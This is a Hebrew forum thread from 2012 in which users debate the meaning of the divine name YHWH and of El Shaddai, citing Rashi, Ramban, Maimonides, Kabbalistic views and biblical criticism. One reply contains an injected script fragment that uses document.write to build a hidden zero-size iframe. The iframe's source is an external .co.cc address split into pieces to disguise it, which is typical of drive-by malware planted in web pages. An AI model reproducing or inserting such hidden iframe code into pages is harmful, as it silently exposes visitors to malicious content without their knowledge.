| נשלח ב-14/1/2012 23:43 |
|
| |
שם הוי"ה האם הוא מוכרח המציאות?
שם הוי"ה האם הוא מוכרח המציאות? כל אחד מאתנו מכיר את דברי השולחן ערוך באורח חיים סימן ה על כוונת ומשמעות שם הוי"ה, וזה לשונו: יכוין בברכות פירוש המלות. כשיזכיר השם, יכוין פירוש קריאתו באדנות שהוא אדון הכל, 'ויכוין בכתיבתו ביו"ד ה"א שהיה והוה ויהיה'. דברי השולחן ערוך מבוסס על ביאורי הראשונים במשמעות וכוונת שם הוי"ה. וכאן עומדת השאלה: האם באמת זה הכוונה של שם הוי"ה? אנחנו כל כך רגילים לכוונה הזאת ואנחנו לוקחים את זה כמובן מאליו, וכך כל סידור שמכבד את עצמו מביא את הכוונה הזאת. ברצוני כאן לברר האם אכן זה הכוונה, ובודאי האם זה מוכרח או מוסכם על כולם. המקור הראשוני לדעתי צריך להיות הפסוקים שבפרשת השבוע שהם הבסיס והמקור לשם הוי"ה, ואלו הם: שמות פרק ג (יג) וַיֹּאמֶר מֹשֶׁה אֶל הָאֱלֹהִים הִנֵּה אָנֹכִי בָא אֶל בְּנֵי יִשְׂרָאֵל וְאָמַרְתִּי לָהֶם אֱלֹהֵי אֲבוֹתֵיכֶם שְׁלָחַנִי אֲלֵיכֶם וְאָמְרוּ לִי מַה שְּׁמוֹ מָה אֹמַר אֲלֵהֶם: (יד) וַיֹּאמֶר אֱלֹהִים אֶל מֹשֶׁה אֶהְיֶה אֲשֶׁר אֶהְיֶה וַיֹּאמֶר כֹּה תֹאמַר לִבְנֵי יִשְׂרָאֵל אֶהְיֶה שְׁלָחַנִי אֲלֵיכֶם: (טו) וַיֹּאמֶר עוֹד אֱלֹהִים אֶל מֹשֶׁה כֹּה תֹאמַר אֶל בְּנֵי יִשְׂרָאֵל יְקֹוָק אֱלֹהֵי אֲבֹתֵיכֶם אֱלֹהֵי אַבְרָהָם אֱלֹהֵי יִצְחָק וֵאלֹהֵי יַעֲקֹב שְׁלָחַנִי אֲלֵיכֶם זֶה שְּׁמִי לְעֹלָם וְזֶה זִכְרִי לְדֹר דֹּר: (טז) לֵךְ וְאָסַפְתָּ אֶת זִקְנֵי יִשְׂרָאֵל וְאָמַרְתָּ אֲלֵהֶם יְקֹוָק אֱלֹהֵי אֲבֹתֵיכֶם נִרְאָה אֵלַי אֱלֹהֵי אַבְרָהָם יִצְחָק וְיַעֲקֹב לֵאמֹר פָּקֹד פָּקַדְתִּי אֶתְכֶם וְאֶת הֶעָשׂוּי לָכֶם בְּמִצְרָיִם: בהמשך אעלה את הדיונים והבירורים שצריך לדון בגוף הפסוקים כדי להגיע לבירור הכוונה, וכן את עיקרי השיטות ומה שיש לדון בהם כדי להגיע לבירור האמת. אשמח מאוד בשיתוף כל החברים. אני חושב שזהו נושא יסודי ושצריך לעניין כל יהודי המאמין בהוי"ה אלוהי ישראל.
 |
|
|
|
|
| נשלח ב-22/1/2012 21:32 |
|
| |
וארא אל אברהם אל יצחק ואל יעקב באל שדי ושמי ה,
בעל הטורים ,ובשם אל שדי הבטחתי אותם להפרות ולהרבות כי זה השם הוא על פריה ורביה,
|
|
|
|
| נשלח ב-17/1/2012 16:08 |
|
| |
צבי מה לעשות שלפי דעתי התורה שלך ושלי מתעסקת בזה בשיא הרצינות,
איני חושב כי התורה עצמה עוסקת בכך כלל וכלל- במקרים צפציפים מאד כמו אצל משה. שביקש הדרכה מה בדיוק הוא אמור להגיד, יותר נכון איך עליו להציג את ה' . לפני קהל העבדים הבורים והאנלפבטים, שליפניהם הוא חייב להציג דמות עם שם. את התוספות והפרשנוייות לשם ה' עשו אנשים- הפרשנים השונים, ושוב לשבר אוזנם של הקהל הלא משכיל. מה שאני כתבתי כתבתי לך ו לחברים האחרים. שהשכלתם ותפישתם הרוחנית שונה, כפי שתפישתו של הרמב"ם למשל היתה שונה מזו של חז"ל, בעיקר בנושא הזה.
|
|
|
|
| נשלח ב-17/1/2012 15:18 |
|
| |
גם לאחר קריאת הנאמר בפתיחת האשכול וגם לאחר קריאת התגובות לא הבנתי לאן חותר האשכול.
מה פשר השאלה האם שם הוי"ה הוא מוכרח המציאות? האם השם אל ש-די מוכרח המציאות? האם השם אל-והים מוכרח המציאות?
לכל שם יש את המשמעות שלו.(וחוקרי המקרא הביאו את הסיבות לשינוי אבל מי שלא מעוניין להתעסק עם ביקורת המקרא יכל להסתפק בתשובה שיש פנים שונות של התגלות ה' בתקופות שונות.
הנה הפרשנויות השונות לשם:הוי-ה:
"משמעות השם המפורש בפרשנות הרבנית על פי פרשן המקרא רש"י, שם זה מורה על המידה האמתית של האל, שהוא "נאמן לאמת דבריו", ולכן לא התגלה לאבות בשם זה, כי הבטיח להם מבלי שקיים, ואילו לישראל שהוא מקיים הבטחותיו, מתגלה להם בשמו הזה (רש"י על שמות ו', ב).
ייחודו של השם שהוא מורכב רק מאותיות של תנועות (אמות קריאה), ללא עיצורים. משמעות השם שקרוי גם "שם הויה" קשורה לתפיסה שהוא עצמו היה, הוה ויהיה, לומר כי הוא "הוה לנצח בכל הזמנים בשוה". (כלי יקר על שמות ו' ג') והווייתו בכל הזמנים, שהם עבר הוה עתיד, היא אחת בכולם, מבלי שיחול שינוי בדעתו (מהר"ל).
על פי רס"ג, שם זה נבדל משמות אחרים בכך שהוא שמו המיוחד של האל, שאין בו השתתפות עם האחרים. ומורה על אמיתת האל עצמו; זו גם דעת ר' יוסף אלבו (ספר העקרים מאמר שני פרק כח). זוהי הסיבה שנקרא "השם המפורש" – כי הוא לא משותף עם אף אחד אחר, והוא מורה במפורש על האל.
גם ריה"ל הולך בכיוון זה, וסובר שלעומת השם "אלוהים", הנחשב בעיניו שם כללי המתייחס לכל הברואים, השם המפורש הוא כמו שם פרטי מיוחד, שקוראים בשמו זה אלו שהתוודעו לייחודו של האלוהים בדרך של נבואה, כמו אדם המכיר את חברו בשמו ("הכוזרי," מאמר רביעי אות א-לא).
לדעת המהר"ל מפראג, שם זה מצביע על כך שהוא הוויה מופשטת שאין לה גדר, גבול והגבלה, ושאיננה נתפסת בשכל אנוש. יש הסוברים ששם זה מבטא את האמונה שאלוהים היווה, מהוה ויהווה את העולם כולו בכל רגע מחדש, ולכן הוא מופיע בלשון עתיד, המורה על פעולה חוזרת ונשנית (כמו "ככה יעשה איוב כל הימים"). באמונה הקבלית, שם זה צופן בחובו מיפוי של המידות האלוהיות. מבחינת הנהגת ה', שם יהוה מיוחס ל"הנהגת הייחוד" – כלומר הנהגת ה' שמעל החוקיות, במובן מסוים הנהגה נסית, כלומר הנהגה שאינה תלויה בחוקים או במעשי האדם. זאת לעומת השם "אלוהים" המיוחס ל"הנהגת המשפט", כלומר הנהגת ה' בדרך של חוקים (חוקי טבע וחוקים רוחניים). לפי האמונה היהודית שתי הנהגות אלה מתקיימים יחד בהרמוניה, כאשר הנהגת הייחוד מנהיגה, מאפשרת ומנתבת את הנהגת המשפט. יש שפירשו, על פי הארמית, שנקרא "השם המפורש" בהוראת "פלאי".
והנה הפרשנויות השונות לשם א-ל ש-ד-י:
"שַ-דּ-ַי הוא אחד משמותיו של הקב"ה. שם של הקב"ה מציין אופן שבו ה' מתגלה בעולם. כמה משמעויות הוצעו להתגלות המתבטאת בשם שדי . 1. שַ-דּ-ַי מלשון די , מספיק לבריות: " "אני אל שדי - אני הוא שיש די באלהותי לכל בריה..." " (רש"י על בראשית יז א) - מי שמקבל את ה' לאלהיו, לא צריך להיות כפוף לשום כוח אחר. " "באל שדי - שהבטחתים הבטחות, ובכולן אמרתי: אני אל שדי" " (רש"י על שמות ו ג) . בחלק גדול מההבטחות שה' הבטיח לאבות, הוא אמר להם "אני אל שדי" - " "שיש די באלהותי לכל בריה" ", כלומר "תסמכו עליי, ההבטחה שלי מספיקה כדי שתהיו רגועים". השם שַ-דּ-ַי מציין את התגלות ה' כמבטיח, כנותן ביטחון ושלוה לעובדיו; זאת לעומת שם ה-ו-י-ה, המציין את קיום ההבטחה במציאות. ואולי זו גם משמעות הנוטריקון המקובל של השם שכתוב על המזוזה: " ש ומר ד לתות י שראל".
2. שַ-דּ-ַי מלשון די, מספיק לעצמו: " "שדי נגזר מן די , כלומר, להיות מספיק, כמו (שמות לו ז): " והמלאכה היתה דַיָּם ". והשין במשמעות אשר, כמו (קהלת ד ב): " [המתים] שכבר [מתו] ". משמעותו תהיה אפוא: אשר די . הכוונה בכך, שאין הוא זקוק לזולתו לשם מציאות מה שהביא לידי מציאות ולא להמשך קיומו, אלא מציאותו יתעלה מספקת לשם כך" " ( מורה נבוכים א סג ) . 3. שַ-דּ-ַי מהשורש שדד , שמשמעו חזק ותקיף (גם בערבית שַדָּה = דגש חזק): " "ורבי אברהם פירשו בשם הנגיד ז"ל מגזרת שודד , כלומר מנצח ומשודד מערכות השמים, וזהו הנכון, כי היא מדת הגבורה מנהגת העולם שיאמרו בה החכמים (ב"ר לה ד) "מדת הדין של מטה". וטעם להזכיר עתה זה השם, כי בו יעשו הנסים הנסתרים לצדיקים, להציל ממות נפשם ולחיותם ברעב ולפדותם במלחמה מיד חרב, ככל הנסים הנעשים לאברהם ולאבות וככל הבאים בתורה בפרשת אם בחקותי ובפרשת והיה כי תבא בברכות ובקללות שכולם נסים הם... ובכולם תתנצח מערכת המזלות, אלא שאין בהם שנוי ממנהגו של עולם כנסים הנעשים על ידי משה רבינו בעשר המכות ובקריעת הים והמן והבאר וזולתם שהם מופתים משנים הטבע בפירסום, והם שיעשו בשם המיוחד אשר הגיד לו.... ודע וראה כי אברהם אבינו לא הזכיר בדבריו שם יו"ד ה', רק בצירוף השם הכתוב באל"ף דל"ת, או בצירוף אל עליון עמו, ויזכיר בעניניו "אלהים", וכן יאמר "ה' אלהי השמים", ואמר "ה' יראה", על מקום המקדש העתיד. ויעקב הזכיר תמיד "אל שדי", ומשה רבינו לא יזכיר כן לעולם. ואם תזכה תבין זה כולו ממה שאמרו במסכת יבמות (מט) כל הנביאים נסתכלו באיספקלריא שאינה מאירה, ולפיכך אמר ישעיה "ואראה את ה'" ומשה נסתכל באיספקלריא המאירה, ולפיכך אמר "כי לא יראני האדם וחי". "ואראה את ה'" כתוב באל"ף דל"ת ..." " (רמב"ן על בראשית יז א) . השם שַ-דּ-ַי מציין את התגלות ה' כעושה נסים נסתרים, כביכול "שודד" את חוקי הטבע בסתר. " "ישנן 3 הנהגות: הנהגת שם אלוקים שהיא בגימטריא "הטבע", שזוהי הנהגה שלא מתחשבת במעשי האדם, הטובים או הרעים, אלא נותנת לכוחות הטבע והמזלות לפעול "כרצונם"... הנהגת שם שדי , שהיא הנהגת שכר ועונש, המתחשבת במעשי האדם. כלומר, כשהאדם טוב מקבל טובה ולהיפך. הנהגה זו פועלת דרך הטבע, כגון גשמים בעיתם וכד'. זוהי הנהגה ניסית, אך לא ניסית שמעל הטבע אלא ניסית שבתוך הטבע... הנהגת שם הוי-ה , שמתבטאת בניסים גלויים שעוקרים את הטבע, כמו בניסים של עשר המכות. הופעת שם זה היא הופעה המיוחדת לישראל, ואינה תלויה כלל במעשיהם אלא בתולדתם, בעצם היותם ישראל." " ( שמותיו של הקב"ה / הרב בני אלון, ישיבת בית אל ) .
4. שַ-דּ-ַי מלשון שָׁד , " "ומשמעותו הנקה והזנה, כשדי אם המניקה את בנה... ואכן מצינו בתורה שמכוח אל שדי באה פריה ורביה לעולם..." " " "ריבון העולמים מתגלה בעולמו בשלושה מימדים... שם אלהים מבטא את התגלות ה' כבעל הכוחות כולם הבורא בכוחו וגבורתו שמיים וארץ יש מאין... שם שדי מבטא את התגלות ה' כ"נשמת העולם" הזנה ומחיה אותו... כיצירה דינמית שאינה פוסקת... שם הויה ... כמנהיג השולט במימד הזמן: היה הווה ויהיה" " (הרב חנן פורת, "לא אלמנה היא ההסטוריה",
 |
|
|
|
|
| נשלח ב-17/1/2012 14:39 |
|
| |
| ירוחםשמ כתב: |  | צבי
יש לנו עוד דברי חז"ל יסודיים בעניין שם הוי"ה כל דברי רש"י בתחילת פרשת 'וארא' על עניין שם 'הוי"ה' בהיותו השם שבו הוא מקיים את הבטחתו.
כלומר- שבשמות האחרים שלו. 70- שמות- הוא לא מקיים את מה שהוא מבטיח?
כשאלה עקרונית. העיסוק הזה בשם ה'. למה זה טוב? למי זה מוסיף? ומה הוא מוסיף?
הרי על פניו ריבוי השמות- יותר נכון הפרשנויות השונות על משמעותו של כל שם ושם, הופכת את ה' למשהו קפריזי. פעם הוא רציני וכועס- הוא אלוקים- פעם הוא רחמן ורב חסד. אז הו ה'. - פעם הוא האמת האבסולוטית- אמת. מענין מתי הוא לא האמת?
צריכים מאד להזהר מתי ואיך לפנות אליו- כפי שרש"י מסביר את מומחיותו של בילעם.
האם כל העיסוק הזה לא מחלל את ה'? מלשון חילון- אנחנו מלבישים לו תכונות אנושיות. אנחנו מגמדים אותו, אני כבר לא מדבר על מה שהמקובלים חוטאים בו. |
|
ירוחם,
מה לעשות שלפי דעתי התורה שלך ושלי מתעסקת בזה בשיא הרצינות, ואם זה מחלל את השם לפי דעתך, זה מה יש.
לפי דעתי, זה ממש לא מחלל את השם, וגם לא מגיעים למסקנה שהוא אל קפריזי, לא הבנתי מאיפה אתה מוציא את זה.
|
|
|
|
| נשלח ב-17/1/2012 13:32 |
|
| |
צבי יש לנו עוד דברי חז"ל יסודיים בעניין שם הוי"ה כל דברי רש"י בתחילת פרשת 'וארא' על עניין שם 'הוי"ה' בהיותו השם שבו הוא מקיים את הבטחתו.
כלומר- שבשמות האחרים שלו. 70- שמות- הוא לא מקיים את מה שהוא מבטיח?
כשאלה עקרונית. העיסוק הזה בשם ה'. למה זה טוב? למי זה מוסיף? ומה הוא מוסיף?
הרי על פניו ריבוי השמות- יותר נכון הפרשנויות השונות על משמעותו של כל שם ושם, הופכת את ה' למשהו קפריזי. פעם הוא רציני וכועס- הוא אלוקים- פעם הוא רחמן ורב חסד. אז הו ה'. - פעם הוא האמת האבסולוטית- אמת. מענין מתי הוא לא האמת? צריכים מאד להזהר מתי ואיך לפנות אליו- כפי שרש"י מסביר את מומחיותו של בילעם.
האם כל העיסוק הזה לא מחלל את ה'? מלשון חילון- אנחנו מלבישים לו תכונות אנושיות. אנחנו מגמדים אותו, אני כבר לא מדבר על מה שהמקובלים חוטאים בו.
|
|
|
|
|
| נשלח ב-17/1/2012 13:15 |
|
| |
| מיימוני כתב: |  | צבי
דומה ששאלתך עומדת בפני עצמה. ובוודאי שהמסקנה תקפה. "יש ענין במשמעות השמות". כלומר, נראה שכל אחד מהם מציין דבר אחר. השאלה היא מה.
כתבת: לאור חילופי השמות המהירים, לפעמים שנים בפסוק ולפעמים שלושה בשני פסוקים צמודים, אין מנוס מלומר כי הם "מוכיחים להדיא (=במפורש) שיש כאן עניין במשמעות השמות".
אולם: מה פירוש שינוי השמות הזה? ועל פי איזו שיטה יש לגשת לנושא?
השיטות המקובלות אצלנו הן שתיים, ועל זה יש להוסיף עוד שתיים.
א. כל שם מציין פן אחר בהשגחה.
ה' - מידת הרחמים. "אלוקים" - מידת הדין. השימוש הזה מופיע אצל חז"ל.
אין לנו דרשות עקביות על השם "ידוד" מעבר לזו שמובאת כאן ברש"י וציטטתי לעיל (אהיה בשיעבוד) ואילו לגבי "ש-די" מוצע ש"זה אשר אמר לעולמו די. יש לנו עוד דברי חז"ל יסודיים בעניין שם הוי"ה כל דברי רש"י בתחילת פרשת 'וארא' על עניין שם 'הוי"ה' בהיותו השם שבו הוא מקיים את הבטחתו.
יש ליטול את הפרשנויות האלו ולבחנן על פני המקרא כולו כדי לראות אם זה עקבי.
גם איני יודע או זוכר מה יאמרו חז"ל על השילוב "ה' אלקים".
וביותר יש לשאול: האם זו פרשנות, שהועלתה, אומצה, או שזו מסורת? למה זה חשוב, יש לנסות ללמוד מתוך המקראות עצמם האם פירושם זה עולה יפה מתוך המקראות, או למצער מתיישב בהם.
ג. כתחליף לפרשנות חז"ל (האם כתבתי מילים אלו? אך יש לבדוק כאמור אם פרשנות חז"ל הנוחה והמתבקשת היא אכן הפשט המקורי של הפסוקים) ניתן להעלות פרשנות היסטורית. זה מה שהנחתי בדברי לעיל, אלא שהניתוח הזה מסוכן מאד. כוונתי היא שלא נוח לנו לשמוע דברים כאלו המנוגדים למה שהפך למסורת - ואף יש בו התחלה שיכולה להוביל עד לביקורת המקרא "הגבוהה" (המנתחת את המקרא, לא במובן של אנליזה אלא במובן של חיתוך לחתיכות).
1. המקרא מציע לנו היסטוריה של הכרת השם בעולם. אדם וחוה, הברואים הראשונים, מכירים את האלקים ומשתמשים בחלק משמותיו. אולם ידיעת השם אובדת במהלך הדורות וצצה עבודה זרה. לרמב"ם יש תיאוריה סבירה כיצד זה קרה (תחילה הוערצו הכוכבים כישים אלוהיים ואחר כך נשכח שהם כלי בידי השם והחלו לסגוד להם בנפרד עד ששכחו את בורא הכל). בימי אברהם אבינו כבר נשכח האלקים והבריות סגדו, כל אומה בנפרד, לאליליה. כפי שאכן מוכיחים הנתונים הארכיאולוגיים (מצבות, פסלים, כתבים ששרדו, וכמובן סיפורי המקרא עצמם). אברהם לפיכך נחשב למי שגילה את האלקים בעצמו, למרות שבזמנו עדיין, לפי החשבון, חי עדיין שם ובנו עבר חי גם בימי יעקב כך שיכלו, לפי סדר הזמנים, להיפגש.
עדויות אלו מן הארכיאולוגיה אף מראות לנו שחלק מהכינויים שניתנו במקרא לה' הם בעצם שמות של אלילים. שמות אלילים אחרים נזכרים במקרא ככוחות מלאכיים. "עליון" הוא שם של אליל כנעני. אולם זה כינוי לה' בשיחה בין אברהם לבין מלכיצדק מלך ירושלם. חז"ל הבינו כי מלכיצדק הוא מונותיאיסט כאברהם, ולכן זיהו בינו לבין שם. אמנם יתכן שהפירוש ההיסטורי אחר. מלכיצדק עבד את "עליון" או את "אל עליון" ואברהם הוא שגילה לו שהוא הוא האלוקים בורא הכל. וזה יכול להיות רמוז בפסוקים הקצרים שמתעדים את תורף השיחה ביניהם.
מבחינה זו אפשר לראות באברהם כמי שמציג עמדה שמקובלת היום במחקר הדתות, לפיה כל הדתות מכוונות לאותו אלוהים אחד ויחיד, אלא שכל דת תופסת אותו מהצד שלה, לפי התרבות שלה, וזאת שלא מדעת. אברהם הוא שגילה את האלוקים האחד מאחורי ריבוי הפנים של הדתות השונות וניסה להעביר את המסר הזה, וזה מה שהמקרא והמפרשים מכנים "להפיץ את שם השם בארץ".
ב. מבקרי המקרא סוברים (חלקם לפחות) כי עם ישראל היה מורכבת מאיחוד של שבטים ממקורות שונים. לפיכך היו להם מסורות שונות כתשובה לשאלה: מי האלוהים שאותו יש לעבוד. ואז אוחדו המסורות לאחד. כלומר, מה שאברהם עשה לעמים האחרים נעשה בתקומת עם ישראל בתקופה נעלמת ובהסתרה.
זו טענה שקשה מאד להפריך מפני שהיא אינה עומדת למבחן כלשהו ומחילים אותה מבחוץ על המסורת שלנו. לך תוכיח שעם ישראל הוא כולו בני אברהם יצחק ויעקב ולא תרכובת של עמים מכאן ומשם, שיש להם מסורת אחת מימי האבות. איך תוכיח זאת כאשר המקרא מוצג כלא אמין וזיוף?
כל הדיעה הזאת היא לא רלוונטית מבחינתי, לבוא ולפרש את המקרא שכל מה שהוא מייצג זה המשכיות של זרע אברהם יצחק ויעקב שהקב"ה בא לגואלם, לדעתי אי אפשר להתייחס לפשט המקרא ולפרש אותו על פי דרכיהם, לפחות לא את הספר שלפנינו, זהו ספר אחר מה שאתה בא לפרש לפי דבריהם.
טענה קצת פחות חמורה - אך עדיין סותרת למקרא כפשוטו - היא שהיו כמה כתבים שונים על המסורת היהודית, ובכל אחד מהם שמות אחרים: ידוד, אלקים, ש-די ועוד. כאשר אוחדו המסורות לספר אחד, שמרה כל מסורת על השמות שהיתה רגילה בהם. אין כאן תשובה, עד כמה שידוע לי, לשאלה איך התפתחו מסורות שונות ולפי מה בחרו בשמות כאלו ואחרים. אולי בהשפעת הסביבה? עיין טענתי לעיל.
***
מדוע אם כן יש לנו שמות שונים של ה'?
אני מסכם לפי ספרור שונה מהקודם את המסקנות האפשריות כנכונות לדעתי.
1. אלו היבטים שונים בהשגחה. מה שהרמב"ם יכנה "תארי פעולה" ולפי ההנהגה הבאה לידי ביטוי ה' נקרא. זה מה שמונח כאן בפירוש רש"י.
2. הפרשנות של חז"ל היא בדור מאוחר שכבר לא ידע את ההתמודדות התיאולוגית של האבות והבנים. השמות צמחו מתוך הפרשנות שגילתה לכל דור ובכל איזור כי האלילים אינם אלא חיקוי חוור (ובלתי אפשרי) לאלוקים המוכר לעם ישראל, וכאשר העמים סוגדים לאיזה אליל עליון שלהם בעצם כוונתם לאלוקים המוכר לנו. מדוע מה שחז"ל מפרשים אינם היבטים שונים של ההשגחה.
פירושים אחרים לדעתי אינם נכונים. בין אם הם נסיון לייחס משמעויות מאגיות לשמות ובין אם הם נסיון (גרוע אף יותר) לחלק את האלקים לחלקים העוברים הרפתקאות פנימיות. ובין אם הם נסיון להפוך את ההיסטוריה של עם ישראל למעשה הדבקה של פירורים, בין פירורי טקסט, בין פירורים של שבטים שונים הממציאים להם מוצא משותף. בחלק השני אני מסכים אתך לגמרי, בחלק הראשון יש להאריך.
***
לגבי הפתיחה של פרשת "וארא", סבורני, בהתאם לשיטת קריאתי במקרא, כי זה סיכום של הפרשה הקודמת ולא התגלות חדשה. אנא פרט באר והרחב. ******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");> |
|
 |
|
|
|
|
| נשלח ב-17/1/2012 07:36 |
|
| |
צבי
דומה ששאלתך עומדת בפני עצמה. ובוודאי שהמסקנה תקפה. "יש ענין במשמעות השמות". כלומר, נראה שכל אחד מהם מציין דבר אחר. השאלה היא מה.
כתבת: לאור חילופי השמות המהירים, לפעמים שנים בפסוק ולפעמים שלושה בשני פסוקים צמודים, אין מנוס מלומר כי הם
"מוכיחים להדיא (=במפורש) שיש כאן עניין במשמעות השמות".
אולם: מה פירוש שינוי השמות הזה? ועל פי איזו שיטה יש לגשת לנושא?
השיטות המקובלות אצלנו הן שתיים, ועל זה יש להוסיף עוד שתיים.
א. כל שם מציין פן אחר בהשגחה.
ה' - מידת הרחמים. "אלוקים" - מידת הדין. השימוש הזה מופיע אצל חז"ל.
אין לנו דרשות עקביות על השם "ידוד" מעבר לזו שמובאת כאן ברש"י וציטטתי לעיל (אהיה בשיעבוד) ואילו לגבי "ש-די" מוצע ש"זה אשר אמר לעולמו די.
יש ליטול את הפרשנויות האלו ולבחנן על פני המקרא כולו כדי לראות אם זה עקבי.
גם איני יודע או זוכר מה יאמרו חז"ל על השילוב "ה' אלקים".
וביותר יש לשאול: האם זו פרשנות, שהועלתה, אומצה, או שזו מסורת?
ב. בעקבות פרשנות זו מופיעות שתי פרשנויות שלדעתי כבר חורגות מן הגישה הראויה.
1. הגישה המאגית. כל שם מציין כוח. ומי שיודע את הכוח יכול להשתמש בו.
גישה זו מופיעה כבר בימי חז"ל והיא באה לידי ביטוי בכתבים שונים, שאמנם לא שם חז"ל כתוב עליהם, והם מן החיצוניים, או שהם בכלל לא הוכרו כחלק מן המסורת הרשמית. הגישה הזו עושה שימוש ב"שמות" אלו ואחרים לשם השבעות.
2. השמות מציינים חלקים או איברים שונים של האלוהות. למרות שניתן לראות רמזים לחלוקה הפנימית של האלוהות כבר בספר הבהיר, הזוהר הפך זאת למנגנון פרשני שעוקב אחרי תנועות בתוך מערכת אלוהית רב ממדית, וכמובן אצל האר"י המנגנון הופך למורכב במידה שלא תאמן ואף מתורגם לתחום שנראה בעינינו היום גס - בלשון החוקרים: אירוטי - כלומר מיני.
מחברי הזוהר ואחריו האר"י ואחריו רח"ו אכן לא יכלו להסתפק בחלוקת השמות שבמקרא ולכן הוסיפו עליה כהנה וכהנה.
ג. כתחליף לפרשנות חז"ל (האם כתבתי מילים אלו? אך יש לבדוק כאמור אם פרשנות חז"ל הנוחה והמתבקשת היא אכן הפשט המקורי של הפסוקים) ניתן להעלות פרשנות היסטורית. זה מה שהנחתי בדברי לעיל, אלא שהניתוח הזה מסוכן מאד. כוונתי היא שלא נוח לנו לשמוע דברים כאלו המנוגדים למה שהפך למסורת - ואף יש בו התחלה שיכולה להוביל עד לביקורת המקרא "הגבוהה" (המנתחת את המקרא, לא במובן של אנליזה אלא במובן של חיתוך לחתיכות).
1. המקרא מציע לנו היסטוריה של הכרת השם בעולם. אדם וחוה, הברואים הראשונים, מכירים את האלקים ומשתמשים בחלק משמותיו. אולם ידיעת השם אובדת במהלך הדורות וצצה עבודה זרה. לרמב"ם יש תיאוריה סבירה כיצד זה קרה (תחילה הוערצו הכוכבים כישים אלוהיים ואחר כך נשכח שהם כלי בידי השם והחלו לסגוד להם בנפרד עד ששכחו את בורא הכל). בימי אברהם אבינו כבר נשכח האלקים והבריות סגדו, כל אומה בנפרד, לאליליה. כפי שאכן מוכיחים הנתונים הארכיאולוגיים (מצבות, פסלים, כתבים ששרדו, וכמובן סיפורי המקרא עצמם). אברהם לפיכך נחשב למי שגילה את האלקים בעצמו, למרות שבזמנו עדיין, לפי החשבון, חי עדיין שם ובנו עבר חי גם בימי יעקב כך שיכלו, לפי סדר הזמנים, להיפגש.
עדויות אלו מן הארכיאולוגיה אף מראות לנו שחלק מהכינויים שניתנו במקרא לה' הם בעצם שמות של אלילים. שמות אלילים אחרים נזכרים במקרא ככוחות מלאכיים. "עליון" הוא שם של אליל כנעני. אולם זה כינוי לה' בשיחה בין אברהם לבין מלכיצדק מלך ירושלם. חז"ל הבינו כי מלכיצדק הוא מונותיאיסט כאברהם, ולכן זיהו בינו לבין שם. אמנם יתכן שהפירוש ההיסטורי אחר. מלכיצדק עבד את "עליון" או את "אל עליון" ואברהם הוא שגילה לו שהוא הוא האלוקים בורא הכל. וזה יכול להיות רמוז בפסוקים הקצרים שמתעדים את תורף השיחה ביניהם.
מבחינה זו אפשר לראות באברהם כמי שמציג עמדה שמקובלת היום במחקר הדתות, לפיה כל הדתות מכוונות לאותו אלוהים אחד ויחיד, אלא שכל דת תופסת אותו מהצד שלה, לפי התרבות שלה, וזאת שלא מדעת. אברהם הוא שגילה את האלוקים האחד מאחורי ריבוי הפנים של הדתות השונות וניסה להעביר את המסר הזה, וזה מה שהמקרא והמפרשים מכנים "להפיץ את שם השם בארץ".
ב. מבקרי המקרא סוברים (חלקם לפחות) כי עם ישראל היה מורכבת מאיחוד של שבטים ממקורות שונים. לפיכך היו להם מסורות שונות כתשובה לשאלה: מי האלוהים שאותו יש לעבוד. ואז אוחדו המסורות לאחד. כלומר, מה שאברהם עשה לעמים האחרים נעשה בתקומת עם ישראל בתקופה נעלמת ובהסתרה.
זו טענה שקשה מאד להפריך מפני שהיא אינה עומדת למבחן כלשהו ומחילים אותה מבחוץ על המסורת שלנו. לך תוכיח שעם ישראל הוא כולו בני אברהם יצחק ויעקב ולא תרכובת של עמים מכאן ומשם, שיש להם מסורת אחת מימי האבות. איך תוכיח זאת כאשר המקרא מוצג כלא אמין וזיוף?
טענה קצת פחות חמורה - אך עדיין סותרת למקרא כפשוטו - היא שהיו כמה כתבים שונים על המסורת היהודית, ובכל אחד מהם שמות אחרים: ידוד, אלקים, ש-די ועוד. כאשר אוחדו המסורות לספר אחד, שמרה כל מסורת על השמות שהיתה רגילה בהם. אין כאן תשובה, עד כמה שידוע לי, לשאלה איך התפתחו מסורות שונות ולפי מה בחרו בשמות כאלו ואחרים. אולי בהשפעת הסביבה?
יש לשים לב כי הגישה ג1 משתלבת במסורת ובהיסטוריה לפי המסורת, שבה האבות נצרכים להבהיר את המסר המונותיאיסטי לסביבה, לא שהמסר הזה צומח באיטיות בתוך עם ישראל המתהווה כדברי המבקרים.
אך יש לשים לב כי הגישות שתחת סעיף ב' הן גם כן חריגה מן המונותיאיזם (אם כי חלקן כבר הפכו לחלק מן המסורת בת מאות שנים שלנו ולכן חופף עליהן רושם של אמת ושל קדמות, ולא היא, לא מבחינה תיאולוגית ולא מבחינה היסטורית, כי הן חדשות).
*** מדוע אם כן יש לנו שמות שונים של ה'?
אני מסכם לפי ספרור שונה מהקודם את המסקנות האפשריות כנכונות לדעתי.
1. אלו היבטים שונים בהשגחה. מה שהרמב"ם יכנה "תארי פעולה" ולפי ההנהגה הבאה לידי ביטוי ה' נקרא. זה מה שמונח כאן בפירוש רש"י.
2. הפרשנות של חז"ל היא בדור מאוחר שכבר לא ידע את ההתמודדות התיאולוגית של האבות והבנים. השמות צמחו מתוך הפרשנות שגילתה לכל דור ובכל איזור כי האלילים אינם אלא חיקוי חוור (ובלתי אפשרי) לאלוקים המוכר לעם ישראל, וכאשר העמים סוגדים לאיזה אליל עליון שלהם בעצם כוונתם לאלוקים המוכר לנו.
פירושים אחרים לדעתי אינם נכונים. בין אם הם נסיון לייחס משמעויות מאגיות לשמות ובין אם הם נסיון (גרוע אף יותר) לחלק את האלקים לחלקים העוברים הרפתקאות פנימיות. ובין אם הם נסיון להפוך את ההיסטוריה של עם ישראל למעשה הדבקה של פירורים, בין פירורי טקסט, בין פירורים של שבטים שונים הממציאים להם מוצא משותף.
*** לגבי הפתיחה של פרשת "וארא", סבורני, בהתאם לשיטת קריאתי במקרא, כי זה סיכום של הפרשה הקודמת ולא התגלות חדשה.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");>
 |
|
|
|
|
| נשלח ב-17/1/2012 00:01 |
|
| |
| פינגווינאי כתב: |  | זכור לי שבביאור הגר"א כתב שהביאור הוא "נמצא וקיים", ולא "היה הוה ויהיה" כהשו"ע.
